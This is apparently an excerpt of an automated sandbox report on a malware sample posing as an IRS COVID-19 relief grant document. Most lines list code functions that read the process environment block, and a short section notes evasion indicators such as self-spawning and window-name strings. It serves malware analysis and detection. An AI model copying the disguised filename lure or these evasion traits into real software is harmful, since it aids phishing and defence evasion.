Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A229 mov eax, dword ptr fs:[00000030h]	1_2_1E28A229
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A229 mov eax, dword ptr fs:[00000030h]	1_2_1E28A229
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A229 mov eax, dword ptr fs:[00000030h]	1_2_1E28A229
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A229 mov eax, dword ptr fs:[00000030h]	1_2_1E28A229
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A4A2C mov eax, dword ptr fs:[00000030h]	1_2_1E2A4A2C
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A4A2C mov eax, dword ptr fs:[00000030h]	1_2_1E2A4A2C
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32AA16 mov eax, dword ptr fs:[00000030h]	1_2_1E32AA16
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32AA16 mov eax, dword ptr fs:[00000030h]	1_2_1E32AA16
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E278A0A mov eax, dword ptr fs:[00000030h]	1_2_1E278A0A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26AA16 mov eax, dword ptr fs:[00000030h]	1_2_1E26AA16
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26AA16 mov eax, dword ptr fs:[00000030h]	1_2_1E26AA16
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E283A1C mov eax, dword ptr fs:[00000030h]	1_2_1E283A1C
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E265210 mov eax, dword ptr fs:[00000030h]	1_2_1E265210
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E265210 mov ecx, dword ptr fs:[00000030h]	1_2_1E265210
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E265210 mov eax, dword ptr fs:[00000030h]	1_2_1E265210
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E265210 mov eax, dword ptr fs:[00000030h]	1_2_1E265210
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A927A mov eax, dword ptr fs:[00000030h]	1_2_1E2A927A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E31B260 mov eax, dword ptr fs:[00000030h]	1_2_1E31B260
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E31B260 mov eax, dword ptr fs:[00000030h]	1_2_1E31B260
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E338A62 mov eax, dword ptr fs:[00000030h]	1_2_1E338A62
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E269240 mov eax, dword ptr fs:[00000030h]	1_2_1E269240
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E269240 mov eax, dword ptr fs:[00000030h]	1_2_1E269240
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E269240 mov eax, dword ptr fs:[00000030h]	1_2_1E269240
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E269240 mov eax, dword ptr fs:[00000030h]	1_2_1E269240
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32EA55 mov eax, dword ptr fs:[00000030h]	1_2_1E32EA55
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2F4257 mov eax, dword ptr fs:[00000030h]	1_2_1E2F4257
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2652A5 mov eax, dword ptr fs:[00000030h]	1_2_1E2652A5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2652A5 mov eax, dword ptr fs:[00000030h]	1_2_1E2652A5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2652A5 mov eax, dword ptr fs:[00000030h]	1_2_1E2652A5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2652A5 mov eax, dword ptr fs:[00000030h]	1_2_1E2652A5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2652A5 mov eax, dword ptr fs:[00000030h]	1_2_1E2652A5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27AAB0 mov eax, dword ptr fs:[00000030h]	1_2_1E27AAB0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27AAB0 mov eax, dword ptr fs:[00000030h]	1_2_1E27AAB0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29FAB0 mov eax, dword ptr fs:[00000030h]	1_2_1E29FAB0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29D294 mov eax, dword ptr fs:[00000030h]	1_2_1E29D294
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29D294 mov eax, dword ptr fs:[00000030h]	1_2_1E29D294
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E292AE4 mov eax, dword ptr fs:[00000030h]	1_2_1E292AE4
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E292ACB mov eax, dword ptr fs:[00000030h]	1_2_1E292ACB
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32131B mov eax, dword ptr fs:[00000030h]	1_2_1E32131B
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26DB60 mov ecx, dword ptr fs:[00000030h]	1_2_1E26DB60
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E293B7A mov eax, dword ptr fs:[00000030h]	1_2_1E293B7A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E293B7A mov eax, dword ptr fs:[00000030h]	1_2_1E293B7A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26DB40 mov eax, dword ptr fs:[00000030h]	1_2_1E26DB40
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E338B58 mov eax, dword ptr fs:[00000030h]	1_2_1E338B58
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26F358 mov eax, dword ptr fs:[00000030h]	1_2_1E26F358
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E294BAD mov eax, dword ptr fs:[00000030h]	1_2_1E294BAD
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E294BAD mov eax, dword ptr fs:[00000030h]	1_2_1E294BAD
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E294BAD mov eax, dword ptr fs:[00000030h]	1_2_1E294BAD
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E335BA5 mov eax, dword ptr fs:[00000030h]	1_2_1E335BA5
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E271B8F mov eax, dword ptr fs:[00000030h]	1_2_1E271B8F
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E271B8F mov eax, dword ptr fs:[00000030h]	1_2_1E271B8F
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E31D380 mov ecx, dword ptr fs:[00000030h]	1_2_1E31D380
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E32138A mov eax, dword ptr fs:[00000030h]	1_2_1E32138A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29B390 mov eax, dword ptr fs:[00000030h]	1_2_1E29B390
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E292397 mov eax, dword ptr fs:[00000030h]	1_2_1E292397
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28DBE9 mov eax, dword ptr fs:[00000030h]	1_2_1E28DBE9
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h]	1_2_1E2903E2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h]	1_2_1E2903E2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h]	1_2_1E2903E2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h]	1_2_1E2903E2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h]	1_2_1E2903E2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2903E2 mov eax, dword ptr fs:[00000030h]	1_2_1E2903E2
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E53CA mov eax, dword ptr fs:[00000030h]	1_2_1E2E53CA
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E53CA mov eax, dword ptr fs:[00000030h]	1_2_1E2E53CA
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29002D mov eax, dword ptr fs:[00000030h]	1_2_1E29002D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29002D mov eax, dword ptr fs:[00000030h]	1_2_1E29002D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29002D mov eax, dword ptr fs:[00000030h]	1_2_1E29002D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29002D mov eax, dword ptr fs:[00000030h]	1_2_1E29002D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29002D mov eax, dword ptr fs:[00000030h]	1_2_1E29002D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27B02A mov eax, dword ptr fs:[00000030h]	1_2_1E27B02A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27B02A mov eax, dword ptr fs:[00000030h]	1_2_1E27B02A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27B02A mov eax, dword ptr fs:[00000030h]	1_2_1E27B02A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E27B02A mov eax, dword ptr fs:[00000030h]	1_2_1E27B02A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A830 mov eax, dword ptr fs:[00000030h]	1_2_1E28A830
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A830 mov eax, dword ptr fs:[00000030h]	1_2_1E28A830
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A830 mov eax, dword ptr fs:[00000030h]	1_2_1E28A830
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28A830 mov eax, dword ptr fs:[00000030h]	1_2_1E28A830
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E334015 mov eax, dword ptr fs:[00000030h]	1_2_1E334015
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E334015 mov eax, dword ptr fs:[00000030h]	1_2_1E334015
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E7016 mov eax, dword ptr fs:[00000030h]	1_2_1E2E7016
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E7016 mov eax, dword ptr fs:[00000030h]	1_2_1E2E7016
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E7016 mov eax, dword ptr fs:[00000030h]	1_2_1E2E7016
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E322073 mov eax, dword ptr fs:[00000030h]	1_2_1E322073
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E331074 mov eax, dword ptr fs:[00000030h]	1_2_1E331074
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E280050 mov eax, dword ptr fs:[00000030h]	1_2_1E280050
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E280050 mov eax, dword ptr fs:[00000030h]	1_2_1E280050
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2A90AF mov eax, dword ptr fs:[00000030h]	1_2_1E2A90AF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h]	1_2_1E2920A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h]	1_2_1E2920A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h]	1_2_1E2920A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h]	1_2_1E2920A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h]	1_2_1E2920A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2920A0 mov eax, dword ptr fs:[00000030h]	1_2_1E2920A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29F0BF mov ecx, dword ptr fs:[00000030h]	1_2_1E29F0BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29F0BF mov eax, dword ptr fs:[00000030h]	1_2_1E29F0BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29F0BF mov eax, dword ptr fs:[00000030h]	1_2_1E29F0BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E269080 mov eax, dword ptr fs:[00000030h]	1_2_1E269080
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E3884 mov eax, dword ptr fs:[00000030h]	1_2_1E2E3884
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E3884 mov eax, dword ptr fs:[00000030h]	1_2_1E2E3884
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2640E1 mov eax, dword ptr fs:[00000030h]	1_2_1E2640E1
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2640E1 mov eax, dword ptr fs:[00000030h]	1_2_1E2640E1
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2640E1 mov eax, dword ptr fs:[00000030h]	1_2_1E2640E1
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2658EC mov eax, dword ptr fs:[00000030h]	1_2_1E2658EC
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28B8E4 mov eax, dword ptr fs:[00000030h]	1_2_1E28B8E4
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28B8E4 mov eax, dword ptr fs:[00000030h]	1_2_1E28B8E4
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2FB8D0 mov eax, dword ptr fs:[00000030h]	1_2_1E2FB8D0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2FB8D0 mov ecx, dword ptr fs:[00000030h]	1_2_1E2FB8D0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2FB8D0 mov eax, dword ptr fs:[00000030h]	1_2_1E2FB8D0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2FB8D0 mov eax, dword ptr fs:[00000030h]	1_2_1E2FB8D0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2FB8D0 mov eax, dword ptr fs:[00000030h]	1_2_1E2FB8D0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2FB8D0 mov eax, dword ptr fs:[00000030h]	1_2_1E2FB8D0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E284120 mov eax, dword ptr fs:[00000030h]	1_2_1E284120
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E284120 mov eax, dword ptr fs:[00000030h]	1_2_1E284120
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E284120 mov eax, dword ptr fs:[00000030h]	1_2_1E284120
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E284120 mov eax, dword ptr fs:[00000030h]	1_2_1E284120
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E284120 mov ecx, dword ptr fs:[00000030h]	1_2_1E284120
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29513A mov eax, dword ptr fs:[00000030h]	1_2_1E29513A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29513A mov eax, dword ptr fs:[00000030h]	1_2_1E29513A
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E269100 mov eax, dword ptr fs:[00000030h]	1_2_1E269100
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E269100 mov eax, dword ptr fs:[00000030h]	1_2_1E269100
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E269100 mov eax, dword ptr fs:[00000030h]	1_2_1E269100
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26C962 mov eax, dword ptr fs:[00000030h]	1_2_1E26C962
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26B171 mov eax, dword ptr fs:[00000030h]	1_2_1E26B171
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26B171 mov eax, dword ptr fs:[00000030h]	1_2_1E26B171
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28B944 mov eax, dword ptr fs:[00000030h]	1_2_1E28B944
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28B944 mov eax, dword ptr fs:[00000030h]	1_2_1E28B944
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E69A6 mov eax, dword ptr fs:[00000030h]	1_2_1E2E69A6
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2961A0 mov eax, dword ptr fs:[00000030h]	1_2_1E2961A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2961A0 mov eax, dword ptr fs:[00000030h]	1_2_1E2961A0
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E51BE mov eax, dword ptr fs:[00000030h]	1_2_1E2E51BE
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E51BE mov eax, dword ptr fs:[00000030h]	1_2_1E2E51BE
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E51BE mov eax, dword ptr fs:[00000030h]	1_2_1E2E51BE
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2E51BE mov eax, dword ptr fs:[00000030h]	1_2_1E2E51BE
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3249A4 mov eax, dword ptr fs:[00000030h]	1_2_1E3249A4
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3249A4 mov eax, dword ptr fs:[00000030h]	1_2_1E3249A4
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3249A4 mov eax, dword ptr fs:[00000030h]	1_2_1E3249A4
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E3249A4 mov eax, dword ptr fs:[00000030h]	1_2_1E3249A4
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov ecx, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov ecx, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov eax, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov ecx, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov ecx, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov eax, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov ecx, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov ecx, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov eax, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov ecx, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov ecx, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2899BF mov eax, dword ptr fs:[00000030h]	1_2_1E2899BF
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E28C182 mov eax, dword ptr fs:[00000030h]	1_2_1E28C182
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E29A185 mov eax, dword ptr fs:[00000030h]	1_2_1E29A185
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E292990 mov eax, dword ptr fs:[00000030h]	1_2_1E292990
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E2F41E8 mov eax, dword ptr fs:[00000030h]	1_2_1E2F41E8
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26B1E1 mov eax, dword ptr fs:[00000030h]	1_2_1E26B1E1
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26B1E1 mov eax, dword ptr fs:[00000030h]	1_2_1E26B1E1
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_1E26B1E1 mov eax, dword ptr fs:[00000030h]	1_2_1E26B1E1
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_00568059 mov eax, dword ptr fs:[00000030h]	1_2_00568059
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_0056801E mov eax, dword ptr fs:[00000030h]	1_2_0056801E
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_0056689D mov eax, dword ptr fs:[00000030h]	1_2_0056689D
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_00568089 mov eax, dword ptr fs:[00000030h]	1_2_00568089
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_005672AB mov eax, dword ptr fs:[00000030h]	1_2_005672AB
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_00563D64 mov eax, dword ptr fs:[00000030h]	1_2_00563D64
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_00567FDD mov eax, dword ptr fs:[00000030h]	1_2_00567FDD
Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe	Code function: 1_2_00567FE2 mov eax, dword ptr fs:[00000030h]	1_2_00567FE2

HIPS / PFW / Operating System Protection Evasion:

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

Process created: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe 'C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe'

Jump to behavior

Source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000002.614978525.0000000000DC0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000002.614978525.0000000000DC0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000002.614978525.0000000000DC0000.00000002.00000001.sdmp	Binary or memory string: Progman
